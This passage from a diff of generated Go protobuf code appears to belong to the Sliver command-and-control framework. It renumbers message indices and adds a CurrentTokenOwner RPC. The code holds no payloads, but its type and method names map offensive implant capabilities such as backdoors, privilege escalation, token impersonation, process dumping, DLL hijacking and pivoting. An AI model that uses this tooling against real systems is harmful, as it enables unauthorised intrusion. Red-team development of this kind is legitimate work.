-	(*sliverpb.Sideload)(nil),              // 135: sliverpb.Sideload
-	(*sliverpb.SpawnDll)(nil),              // 136: sliverpb.SpawnDll
-	(*sliverpb.Screenshot)(nil),            // 137: sliverpb.Screenshot
-	(*sliverpb.PivotListener)(nil),         // 138: sliverpb.PivotListener
-	(*sliverpb.PivotListeners)(nil),        // 139: sliverpb.PivotListeners
-	(*clientpb.PivotGraph)(nil),            // 140: clientpb.PivotGraph
-	(*sliverpb.ServiceInfo)(nil),           // 141: sliverpb.ServiceInfo
-	(*sliverpb.MakeToken)(nil),             // 142: sliverpb.MakeToken
-	(*sliverpb.EnvInfo)(nil),               // 143: sliverpb.EnvInfo
-	(*sliverpb.SetEnv)(nil),                // 144: sliverpb.SetEnv
-	(*sliverpb.UnsetEnv)(nil),              // 145: sliverpb.UnsetEnv
-	(*sliverpb.Backdoor)(nil),              // 146: sliverpb.Backdoor
-	(*sliverpb.RegistryRead)(nil),          // 147: sliverpb.RegistryRead
-	(*sliverpb.RegistryWrite)(nil),         // 148: sliverpb.RegistryWrite
-	(*sliverpb.RegistryCreateKey)(nil),     // 149: sliverpb.RegistryCreateKey
-	(*sliverpb.RegistryDeleteKey)(nil),     // 150: sliverpb.RegistryDeleteKey
-	(*sliverpb.RegistrySubKeyList)(nil),    // 151: sliverpb.RegistrySubKeyList
-	(*sliverpb.RegistryValuesList)(nil),    // 152: sliverpb.RegistryValuesList
-	(*sliverpb.SSHCommand)(nil),            // 153: sliverpb.SSHCommand
-	(*clientpb.DllHijack)(nil),             // 154: clientpb.DllHijack
-	(*sliverpb.GetPrivs)(nil),              // 155: sliverpb.GetPrivs
-	(*sliverpb.RegisterExtension)(nil),     // 156: sliverpb.RegisterExtension
-	(*sliverpb.CallExtension)(nil),         // 157: sliverpb.CallExtension
-	(*sliverpb.ListExtensions)(nil),        // 158: sliverpb.ListExtensions
-	(*sliverpb.WGPortForward)(nil),         // 159: sliverpb.WGPortForward
-	(*sliverpb.WGSocks)(nil),               // 160: sliverpb.WGSocks
-	(*sliverpb.WGTCPForwarders)(nil),       // 161: sliverpb.WGTCPForwarders
-	(*sliverpb.WGSocksServers)(nil),        // 162: sliverpb.WGSocksServers
-	(*sliverpb.Shell)(nil),                 // 163: sliverpb.Shell
-	(*sliverpb.Portfwd)(nil),               // 164: sliverpb.Portfwd
-	(*clientpb.Event)(nil),                 // 165: clientpb.Event
+	(*sliverpb.CurrentTokenOwnerReq)(nil),  // 52: sliverpb.CurrentTokenOwnerReq
+	(*sliverpb.PivotStartListenerReq)(nil), // 53: sliverpb.PivotStartListenerReq
+	(*sliverpb.PivotStopListenerReq)(nil),  // 54: sliverpb.PivotStopListenerReq
+	(*sliverpb.PivotListenersReq)(nil),     // 55: sliverpb.PivotListenersReq
+	(*sliverpb.StartServiceReq)(nil),       // 56: sliverpb.StartServiceReq
+	(*sliverpb.StopServiceReq)(nil),        // 57: sliverpb.StopServiceReq
+	(*sliverpb.RemoveServiceReq)(nil),      // 58: sliverpb.RemoveServiceReq
+	(*sliverpb.MakeTokenReq)(nil),          // 59: sliverpb.MakeTokenReq
+	(*sliverpb.EnvReq)(nil),                // 60: sliverpb.EnvReq
+	(*sliverpb.SetEnvReq)(nil),             // 61: sliverpb.SetEnvReq
+	(*sliverpb.UnsetEnvReq)(nil),           // 62: sliverpb.UnsetEnvReq
+	(*sliverpb.BackdoorReq)(nil),           // 63: sliverpb.BackdoorReq
+	(*sliverpb.RegistryReadReq)(nil),       // 64: sliverpb.RegistryReadReq
+	(*sliverpb.RegistryWriteReq)(nil),      // 65: sliverpb.RegistryWriteReq
+	(*sliverpb.RegistryCreateKeyReq)(nil),  // 66: sliverpb.RegistryCreateKeyReq
+	(*sliverpb.RegistryDeleteKeyReq)(nil),  // 67: sliverpb.RegistryDeleteKeyReq
+	(*sliverpb.RegistrySubKeyListReq)(nil), // 68: sliverpb.RegistrySubKeyListReq
+	(*sliverpb.RegistryListValuesReq)(nil), // 69: sliverpb.RegistryListValuesReq
+	(*sliverpb.SSHCommandReq)(nil),         // 70: sliverpb.SSHCommandReq
+	(*clientpb.DllHijackReq)(nil),          // 71: clientpb.DllHijackReq
+	(*sliverpb.GetPrivsReq)(nil),           // 72: sliverpb.GetPrivsReq
+	(*sliverpb.OpenSession)(nil),           // 73: sliverpb.OpenSession
+	(*sliverpb.CloseSession)(nil),          // 74: sliverpb.CloseSession
+	(*sliverpb.RegisterExtensionReq)(nil),  // 75: sliverpb.RegisterExtensionReq
+	(*sliverpb.CallExtensionReq)(nil),      // 76: sliverpb.CallExtensionReq
+	(*sliverpb.ListExtensionsReq)(nil),     // 77: sliverpb.ListExtensionsReq
+	(*sliverpb.WGPortForwardStartReq)(nil), // 78: sliverpb.WGPortForwardStartReq
+	(*sliverpb.WGPortForwardStopReq)(nil),  // 79: sliverpb.WGPortForwardStopReq
+	(*sliverpb.WGSocksStartReq)(nil),       // 80: sliverpb.WGSocksStartReq
+	(*sliverpb.WGSocksStopReq)(nil),        // 81: sliverpb.WGSocksStopReq
+	(*sliverpb.WGTCPForwardersReq)(nil),    // 82: sliverpb.WGTCPForwardersReq
+	(*sliverpb.WGSocksServersReq)(nil),     // 83: sliverpb.WGSocksServersReq
+	(*sliverpb.ShellReq)(nil),              // 84: sliverpb.ShellReq
+	(*sliverpb.PortfwdReq)(nil),            // 85: sliverpb.PortfwdReq
+	(*sliverpb.Socks)(nil),                 // 86: sliverpb.Socks
+	(*sliverpb.SocksData)(nil),             // 87: sliverpb.SocksData
+	(*sliverpb.Tunnel)(nil),                // 88: sliverpb.Tunnel
+	(*sliverpb.TunnelData)(nil),            // 89: sliverpb.TunnelData
+	(*clientpb.Version)(nil),               // 90: clientpb.Version
+	(*clientpb.Operators)(nil),             // 91: clientpb.Operators
+	(*sliverpb.Reconfigure)(nil),           // 92: sliverpb.Reconfigure
+	(*clientpb.Sessions)(nil),              // 93: clientpb.Sessions
+	(*clientpb.Beacons)(nil),               // 94: clientpb.Beacons
+	(*clientpb.BeaconTasks)(nil),           // 95: clientpb.BeaconTasks
+	(*commonpb.Response)(nil),              // 96: commonpb.Response
+	(*clientpb.Jobs)(nil),                  // 97: clientpb.Jobs
+	(*clientpb.KillJob)(nil),               // 98: clientpb.KillJob
+	(*clientpb.MTLSListener)(nil),          // 99: clientpb.MTLSListener
+	(*clientpb.WGListener)(nil),            // 100: clientpb.WGListener
+	(*clientpb.DNSListener)(nil),           // 101: clientpb.DNSListener
+	(*clientpb.HTTPListener)(nil),          // 102: clientpb.HTTPListener
+	(*clientpb.StagerListener)(nil),        // 103: clientpb.StagerListener
+	(*clientpb.AllLoot)(nil),               // 104: clientpb.AllLoot
+	(*clientpb.AllHosts)(nil),              // 105: clientpb.AllHosts
+	(*clientpb.Generate)(nil),              // 106: clientpb.Generate
+	(*clientpb.ImplantBuilds)(nil),         // 107: clientpb.ImplantBuilds
+	(*clientpb.Canaries)(nil),              // 108: clientpb.Canaries
+	(*clientpb.WGClientConfig)(nil),        // 109: clientpb.WGClientConfig
+	(*clientpb.UniqueWGIP)(nil),            // 110: clientpb.UniqueWGIP
+	(*clientpb.ImplantProfiles)(nil),       // 111: clientpb.ImplantProfiles
+	(*clientpb.MsfStager)(nil),             // 112: clientpb.MsfStager
+	(*clientpb.ShellcodeRDI)(nil),          // 113: clientpb.ShellcodeRDI
+	(*clientpb.Compiler)(nil),              // 114: clientpb.Compiler
+	(*clientpb.Websites)(nil),              // 115: clientpb.Websites
+	(*sliverpb.Ps)(nil),                    // 116: sliverpb.Ps
+	(*sliverpb.Terminate)(nil),             // 117: sliverpb.Terminate
+	(*sliverpb.Ifconfig)(nil),              // 118: sliverpb.Ifconfig
+	(*sliverpb.Netstat)(nil),               // 119: sliverpb.Netstat
+	(*sliverpb.Ls)(nil),                    // 120: sliverpb.Ls
+	(*sliverpb.Pwd)(nil),                   // 121: sliverpb.Pwd
+	(*sliverpb.Mv)(nil),                    // 122: sliverpb.Mv
+	(*sliverpb.Rm)(nil),                    // 123: sliverpb.Rm
+	(*sliverpb.Mkdir)(nil),                 // 124: sliverpb.Mkdir
+	(*sliverpb.Download)(nil),              // 125: sliverpb.Download
+	(*sliverpb.Upload)(nil),                // 126: sliverpb.Upload
+	(*sliverpb.ProcessDump)(nil),           // 127: sliverpb.ProcessDump
+	(*sliverpb.RunAs)(nil),                 // 128: sliverpb.RunAs
+	(*sliverpb.Impersonate)(nil),           // 129: sliverpb.Impersonate
+	(*sliverpb.RevToSelf)(nil),             // 130: sliverpb.RevToSelf
+	(*sliverpb.GetSystem)(nil),             // 131: sliverpb.GetSystem
+	(*sliverpb.Task)(nil),                  // 132: sliverpb.Task
+	(*sliverpb.ExecuteAssembly)(nil),       // 133: sliverpb.ExecuteAssembly
+	(*sliverpb.Migrate)(nil),               // 134: sliverpb.Migrate
+	(*sliverpb.Execute)(nil),               // 135: sliverpb.Execute
+	(*sliverpb.Sideload)(nil),              // 136: sliverpb.Sideload
+	(*sliverpb.SpawnDll)(nil),              // 137: sliverpb.SpawnDll
+	(*sliverpb.Screenshot)(nil),            // 138: sliverpb.Screenshot
+	(*sliverpb.CurrentTokenOwner)(nil),     // 139: sliverpb.CurrentTokenOwner
+	(*sliverpb.PivotListener)(nil),         // 140: sliverpb.PivotListener
+	(*sliverpb.PivotListeners)(nil),        // 141: sliverpb.PivotListeners
+	(*clientpb.PivotGraph)(nil),            // 142: clientpb.PivotGraph
+	(*sliverpb.ServiceInfo)(nil),           // 143: sliverpb.ServiceInfo
+	(*sliverpb.MakeToken)(nil),             // 144: sliverpb.MakeToken
+	(*sliverpb.EnvInfo)(nil),               // 145: sliverpb.EnvInfo
+	(*sliverpb.SetEnv)(nil),                // 146: sliverpb.SetEnv
+	(*sliverpb.UnsetEnv)(nil),              // 147: sliverpb.UnsetEnv
+	(*sliverpb.Backdoor)(nil),              // 148: sliverpb.Backdoor
+	(*sliverpb.RegistryRead)(nil),          // 149: sliverpb.RegistryRead
+	(*sliverpb.RegistryWrite)(nil),         // 150: sliverpb.RegistryWrite
+	(*sliverpb.RegistryCreateKey)(nil),     // 151: sliverpb.RegistryCreateKey
+	(*sliverpb.RegistryDeleteKey)(nil),     // 152: sliverpb.RegistryDeleteKey
+	(*sliverpb.RegistrySubKeyList)(nil),    // 153: sliverpb.RegistrySubKeyList
+	(*sliverpb.RegistryValuesList)(nil),    // 154: sliverpb.RegistryValuesList
+	(*sliverpb.SSHCommand)(nil),            // 155: sliverpb.SSHCommand
+	(*clientpb.DllHijack)(nil),             // 156: clientpb.DllHijack
+	(*sliverpb.GetPrivs)(nil),              // 157: sliverpb.GetPrivs
+	(*sliverpb.RegisterExtension)(nil),     // 158: sliverpb.RegisterExtension
+	(*sliverpb.CallExtension)(nil),         // 159: sliverpb.CallExtension
+	(*sliverpb.ListExtensions)(nil),        // 160: sliverpb.ListExtensions
+	(*sliverpb.WGPortForward)(nil),         // 161: sliverpb.WGPortForward
+	(*sliverpb.WGSocks)(nil),               // 162: sliverpb.WGSocks
+	(*sliverpb.WGTCPForwarders)(nil),       // 163: sliverpb.WGTCPForwarders
+	(*sliverpb.WGSocksServers)(nil),        // 164: sliverpb.WGSocksServers
+	(*sliverpb.Shell)(nil),                 // 165: sliverpb.Shell
+	(*sliverpb.Portfwd)(nil),               // 166: sliverpb.Portfwd
+	(*clientpb.Event)(nil),                 // 167: clientpb.Event
 }
 var file_rpcpb_services_proto_depIdxs = []int32{
 	0,   // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -721,169 +728,171 @@ var file_rpcpb_services_proto_depIdxs = []int32{
 	49,  // 76: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
 	50,  // 77: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
 	51,  // 78: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
-	52,  // 79: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
-	53,  // 80: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
-	54,  // 81: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
-	0,   // 82: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
-	55,  // 83: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
-	56,  // 84: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
-	57,  // 85: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
-	58,  // 86: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
-	59,  // 87: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
-	60,  // 88: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
-	61,  // 89: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
-	62,  // 90: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
-	63,  // 91: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
-	64,  // 92: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
-	65,  // 93: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
-	66,  // 94: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
-	67,  // 95: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
-	68,  // 96: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
-	69,  // 97: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
-	70,  // 98: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
-	71,  // 99: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
-	72,  // 100: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
-	73,  // 101: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
-	74,  // 102: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
-	75,  // 103: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
-	76,  // 104: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
-	77,  // 105: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
-	78,  // 106: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
-	79,  // 107: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
-	80,  // 108: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
-	81,  // 109: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
-	82,  // 110: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
-	83,  // 111: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
-	84,  // 112: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
-	85,  // 113: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
-	85,  // 114: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
-	86,  // 115: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
-	87,  // 116: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
-	87,  // 117: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
-	88,  // 118: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
-	0,   // 119: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
-	89,  // 120: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
-	90,  // 121: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
-	0,   // 122: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
-	91,  // 123: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
-	0,   // 124: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
-	92,  // 125: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
-	93,  // 126: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
-	4,   // 127: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
-	0,   // 128: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
-	94,  // 129: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
-	5,   // 130: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
-	95,  // 131: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
-	0,   // 132: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
-	96,  // 133: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
-	97,  // 134: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
-	98,  // 135: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
-	99,  // 136: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
-	100, // 137: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
-	101, // 138: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
-	101, // 139: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
-	102, // 140: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
-	102, // 141: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
-	12,  // 142: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
-	0,   // 143: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
-	12,  // 144: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
-	12,  // 145: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
-	103, // 146: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
-	103, // 147: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
-	104, // 148: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
-	13,  // 149: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
-	0,   // 150: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
-	0,   // 151: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
-	105, // 152: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
-	105, // 153: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
-	106, // 154: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
-	0,   // 155: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
-	107, // 156: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
-	108, // 157: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
-	109, // 158: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
-	110, // 159: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
-	0,   // 160: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
-	18,  // 161: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
-	111, // 162: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
-	112, // 163: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
-	113, // 164: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
-	114, // 165: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
-	21,  // 166: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
-	0,   // 167: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
-	21,  // 168: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
-	21,  // 169: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
-	21,  // 170: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
-	24,  // 171: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
-	115, // 172: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
-	116, // 173: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
-	117, // 174: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
-	118, // 175: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
-	119, // 176: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
-	120, // 177: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
-	120, // 178: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
-	121, // 179: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
-	122, // 180: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
-	123, // 181: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
-	124, // 182: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
-	125, // 183: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
-	126, // 184: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
-	127, // 185: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
-	128, // 186: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
-	129, // 187: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
-	130, // 188: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
-	131, // 189: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
-	131, // 190: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
-	131, // 191: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
-	132, // 192: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
-	133, // 193: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
-	134, // 194: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
-	134, // 195: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
-	135, // 196: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
-	136, // 197: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
-	137, // 198: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
-	138, // 199: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
-	0,   // 200: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
-	139, // 201: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
-	140, // 202: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
-	141, // 203: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
-	141, // 204: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
-	141, // 205: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
-	142, // 206: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
-	143, // 207: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
-	144, // 208: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
-	145, // 209: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
-	146, // 210: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
-	147, // 211: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
-	148, // 212: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
-	149, // 213: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
-	150, // 214: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
-	151, // 215: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
-	152, // 216: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
-	153, // 217: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
-	154, // 218: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
-	155, // 219: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
-	72,  // 220: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
-	0,   // 221: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
-	156, // 222: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
-	157, // 223: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
-	158, // 224: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
-	159, // 225: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
-	159, // 226: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
-	160, // 227: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
-	160, // 228: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
-	161, // 229: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
-	162, // 230: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
-	163, // 231: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
-	164, // 232: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
-	85,  // 233: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
-	0,   // 234: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
-	86,  // 235: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
-	87,  // 236: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
-	0,   // 237: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
-	88,  // 238: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
-	165, // 239: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
-	120, // [120:240] is the sub-list for method output_type
-	0,   // [0:120] is the sub-list for method input_type
+	52,  // 79: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
+	53,  // 80: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
+	54,  // 81: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
+	55,  // 82: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
+	0,   // 83: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
+	56,  // 84: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
+	57,  // 85: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
+	58,  // 86: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
+	59,  // 87: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
+	60,  // 88: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
+	61,  // 89: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
+	62,  // 90: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
+	63,  // 91: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
+	64,  // 92: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
+	65,  // 93: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
+	66,  // 94: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
+	67,  // 95: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
+	68,  // 96: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
+	69,  // 97: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
+	70,  // 98: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
+	71,  // 99: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
+	72,  // 100: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
+	73,  // 101: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
+	74,  // 102: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
+	75,  // 103: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
+	76,  // 104: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
+	77,  // 105: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
+	78,  // 106: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
+	79,  // 107: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
+	80,  // 108: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
+	81,  // 109: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
+	82,  // 110: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
